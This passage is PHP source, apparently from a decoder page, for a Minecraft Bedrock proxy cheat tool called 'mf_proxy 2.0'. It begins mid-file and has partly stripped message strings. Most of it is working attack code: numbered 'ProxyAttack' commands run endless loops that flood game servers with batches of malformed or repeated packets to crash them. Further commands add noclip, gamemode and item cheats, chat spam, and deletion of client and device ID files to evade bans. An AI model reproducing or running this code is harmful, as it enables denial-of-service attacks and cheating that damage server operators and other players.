MobEffectPacket();$pk->entityRuntimeId=$this->proxy->getClient()->entityRuntimeId;$pk->eventId=1;$pk->effectId=3;$pk->amplifier=15;$pk->duration=99999;$pk->particles=false;$this->proxy->getClient()->dataPacket($pk);return false;break;case ".give":if(!isset($args[1])){$this->proxy->getClient()->sendMessage("f[c!f] !");return true;}$item=Item::get((int)$args[1],isset($args[2])?(int)$args[2]:0,1);$pk=new AddItemPacket();$pk->item=$item;$this->proxy->getClient()->dataPacket($pk);$this->proxy->getClient()->sendMessage("f[c!f] !");break;case ".bag":$this->proxy->getClient()->sendMessage("b DEFAULT ( mf_proxy 2.0 , - )");break;case ".1":Log::Info("ProxyAttack >> 1...");$this->proxy->getClient()->sendMessage("f[c!f] 1 ...");while(true){$p=new AnimatePacket();$p->action=1;$p->entityRuntimeId=$this->proxy->getClient()->entityRuntimeId;$p3=new RequestChunkRadiusPacket();$p3->radius=mt_rand(8,45);$pk3=[];for($i=0;$i<299;$i++){$pk3[$i]=$p3;}$this->proxy->getServer()->dataPacket($p);$this->proxy->getServer()->dataPacket($pk3);}break;case ".2":Log::Info("ProxyAttack >> 2...");$this->proxy->getClient()->sendMessage("f[c!f] 2 ...");while(true){$pk=new LevelSoundEventPacket();$pk->x=$this->proxy->getClient()->x;$pk->y=$this->proxy->getClient()->y;$pk->z=$this->proxy->getClient()->z;$pks=[];for($i=0;$i<299;$i++){$pk->sound=rand(1,100);$pks[$i]=$pk;}$this->proxy->getServer()->dataPacket($pks);}break;break;case ".par":Log::Info("ProxyAttack >> ...");$this->proxy->getClient()->sendMessage("f[c!f] ...");$id=19&0xFFF;$date=0;$pk=new LevelEventPacket;while(true){$pk->evid=LevelEventPacket::EVENT_ADD_PARTICLE_MASK|$id;$pk->x=$this->proxy->getClient()->x;$pk->y=$this->proxy->getClient()->y;$pk->z=$this->proxy->getClient()->z;$pk->data=$data;$this->proxy->getServer()->dataPacket($pk);var_dump($pk);}break;case ".3":Log::Info("ProxyAttack >> 3...");$this->proxy->getClient()->sendMessage("f[c!f] 3 ...");while(true){$pk=new ResourcePackClientResponsePacket();$pk->status=ResourcePackClientResponsePacket::STATUS_COMPLETED;$pks=[];for($i=0;$i<299;$i++){$pks[$i]=$pk;}$this->proxy->getServer()->dataPacket($pks);}break;case ".4":Log::Info("ProxyAttack >> 4...");$this->proxy->getClient()->sendMessage("f[c!f] 4 ...");while(true){$pk=new BlockEntityDataPacket();$pk->x=$position->x;$pk->y=$position->y;$pk->z=$position->z;$pk->namedtag="gg";$pks=[];for($i=0;$i<299;$i++){$pks[$i]=$pk;}$this->proxy->getServer()->dataPacket($pks);}break;case ".5":Log::Info("ProxyAttack >> 5...");$this->proxy->getClient()->sendMessage("f[c!f] 5 ...");while(true){$pk=new ClientboundMapItemDataPacket();$pk->mapId=1;$pk->type=0x08;$pk->eids=[0,2,3,4,5];$pks=[];for($i=0;$i<299;$i++){$pks[$i]=$pk;}$this->proxy->getServer()->dataPacket($pks);}break;case ".6":Log::Info("ProxyAttack 6...");$this->proxy->getClient()->sendMessage("f[c!f] 6 ...");while(true){$pk=new InteractPacket();$pk->action=2;$pk->target=$this->proxy->getClient()->entityRuntimeId;$pks=[];for($i=0;$i<200;$i++){$pks[$i]=$pk;$pks[$i]->target=rand(1,9999);}$this->proxy->getServer()->dataPacket($pks);}break;case ".7":Log::Info("ProxyAttack 7...");$this->proxy->getClient()->sendMessage("f[c!f] 7 ...");while(true){$pk=new MovePlayerPacket();$pk->entityRuntimeId=$this->proxy->getClient()->entityRuntimeId;$pk->onGround=true;$pks=[];for($i=0;$i<299;$i++){$pk->x=rand(1,99999);$pk->y=rand(1,200);$pk->z=rand(1,99999);$pk->yaw=rand(-180,180);$pk->bodyYaw=rand(-180,180);$pk->pitch=rand(-180,180);$pks[$i]=$pk;}$this->proxy->getServer()->dataPacket($pks);}break;case ".8":$pk=new RemoveBlockPacket();$pk->x=$this->proxy->getClient()->x+2;$pk->y=$this->proxy->getClient()->y-1;$pk->z=$this->proxy->getClient()->z;for($i=0;$i<299;$i++)$pks[$i]=$pk;$this->proxy->getServer()->dataPacket($pks);break;case ".spam":$this->spam=$this->spam?false:true;break;case ".s-d":if($settings["skins-download"]===false){$config->set("skins-download",true);$config->save();Log::Info("ProxySkins >> !");$this->proxy->getClient()->sendMessage("ProxySkins >> af.");}else{$config->set("skins-download",false);$config->save();Log::Info("ProxySkins >> !");$this->proxy->getClient()->sendMessage("ProxySkins >> cf.");}break;case ".w-d":if($settings["worlds-download"]===false){$config->set("worlds-download",true);$config->save();Log::Info("ProxyWorlds >> !");$this->proxy->getClient()->sendMessage("ProxyWorlds >> af.");}else{$config->set("worlds-download",false);$config->save();Log::Info("ProxyWorlds >> !");$this->proxy->getClient()->sendMessage("ProxyWorlds >> cf.");}break;case ".m-d":if($settings["messages-download"]===false){$config->set("messages-download",true);$config->save();Log::Info("ProxyMessages >> !");$this->proxy->getClient()->sendMessage("ProxyMessages >> af.");}else{$config->set("messages-download",false);$config->save();Log::Info("ProxyMessages >> !");$this->proxy->getClient()->sendMessage("ProxyMessages >> cf.");}break;case ".particles":$this->particles=$this->particles?false:true;$this->proxy->getClient()->sendMessage("ProxyParticles >> ".($this->particles?"a":"c")."f!");break;case ".help":$this->proxy->getClient()->sendMessage("7 - e. 7- f . : 1, 2, 3, 4, 5, 6, 7, 8 , 9 , 10.\n7 - e.-d 7- f . : s - , w - , m - .\n7 - e.noclip7- f , .\n7 - e.offnoclip7- f , .\n7 - e.particles 7- f/ .\n7 - e.give7- f .\n7 - e.spam7- f {aMF-PROXY! f} VIP.\n7 - e.crash7- f f(cf).\n7 - e.android7- f .\n7 - e.music7- f .\n7 - e.xyz7- f .\n7 - e.bag7- f , .\n7 - e.jump7- f 3.\n7 - e.fastbreak7- f ( ).\n7 - e.cid7- f cid Deviced, .\n7 - e.gm17- f Gamemode 1, , .\n7 - e.gm07- f Gamemode 0");$this->proxy->getClient()->sendMessage("\n7 * f :\n 7- e1 f- Animate + RequestChunkRadius\n 7- e2 f- LevelSoundEvent\n 7- e3 f- ResourcePackClientResponse\n 7- e4 f- BlockEntityDataPacket f(cf)\n 7- e5 f- ClientboundMapItemDataPacket\n 7- e6 f- RemoveBlockPacket\n 7- e7 f- PlayerActionPacket\n 7- e8 f- InteractPacket\n 7- e9 f- MovePlayerPacket\n 7- e10 f- RemoveBlockPacket");$this->proxy->getClient()->sendMessage("\n\n eVIP b!");break;case ".android":$this->proxy->getClient()->sendMessage("ProxyCheats >> b android mf_proxy 2.0 /1-3 ");
break;
case ".":
$this->proxy->getClient()->sendMessage("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
break;
case ".noclip":
$this->proxy->getClient()->sendMessage("ProxyCheats>> noclip !");
$this->proxy->getClient()->setNoclip(true);
break;
case ".gm1":
$this->proxy->getClient()->sendMessage("ProxyCheats>> Gamemode ");
$this->proxy->getClient()->setGamemode(1);
break;
case ".gm0":
$this->proxy->getClient()->sendMessage("ProxyCheats>> Gamemode ");
$this->proxy->getClient()->setGamemode(0);
break;
case ".cid":
$this->proxy->getClient()->sendMessage("ecid f,e ");
@exec('del C:\Users\user\AppData\Local\Packages\Microsoft.MinecraftUWP_8wekyb3d8bbwe\LocalState\games\com.mojang\minecraftpe\clientId.txt');
@exec('del C:\Users\user\AppData\Local\Packages\Microsoft.MinecraftUWP_8wekyb3d8bbwe\LocalState\games\com.mojang\minecraftpe\deviceid.txt');
break;
case ".offnoclip":
$this->proxy->getClient()->sendMessage("ProxyCheats>> noclip !");
$this->proxy->getClient()->setNoclip(false);
break;
case ".xyz":
// $this->proxy->getClient()->sendMessage('b : cX: ".$data->spawnX.", Y: ".$data->spawnY.", Z: ".$data->spawnZ');
break;
case ".el":
$this->proxy->getClient()->sendMessage("ProxyCheats >> ");
$pk = new PlayerActionPacket();
$pk->entityRuntimeId = $this->proxy->getClient()->entityRuntimeId;
$pk->action = PlayerActionPacket::ACTION_START_GLIDE;
$pk->face = 0;
$pk->x = $this->proxy->getClient()->getX();
$pk->y = $this->proxy->getClient()->getY();
$pk->z = $this->proxy->getClient()->getZ();
$this->proxy->getServer()->dataPacket($pk);
print_r($pk);
break;
case ".music":
$this->music = $this->music ? false : true;
$this->proxy->getClient()->sendMessage("ProxyMusic >> " . ($this->music ? "a" : "c") . "f!");
break;
}
}
return true;
}
} ?>
Function Calls
None |
Stats
MD5 | d9cb65dbb1e2a92f4097d453932ee3c7 |
Eval Count | 0 |
Decode Time | 52 ms |